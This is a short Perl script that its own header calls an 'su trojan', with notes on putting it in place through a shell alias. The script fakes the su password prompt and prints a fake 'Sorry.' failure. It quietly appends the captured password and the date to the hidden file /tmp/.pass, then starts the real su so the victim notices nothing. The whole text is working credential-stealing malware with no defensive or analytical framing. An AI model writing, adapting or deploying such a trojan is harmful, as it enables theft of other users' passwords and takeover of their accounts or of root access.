#!/usr/bin/perl

####################################################################################################
# kyle@freeshell.se 2006 su trojan check so the su path is correct.                                #
# then make alias for trojan first it reads the pass then exec the real su.                        #
# logging to /tmp/.pass                                                                            #              
####################################################################################################


print "Password: "; $s1=<STDIN>;
print "Sorry.\n";
$s2="Password is: ";
$s3=`date +%Y-%m-%d`;
open (users, ">>/tmp/.pass") || die ("Could not open file. $!");
print users ($s2, $s1,$s3);
close (users);

system("/bin/su");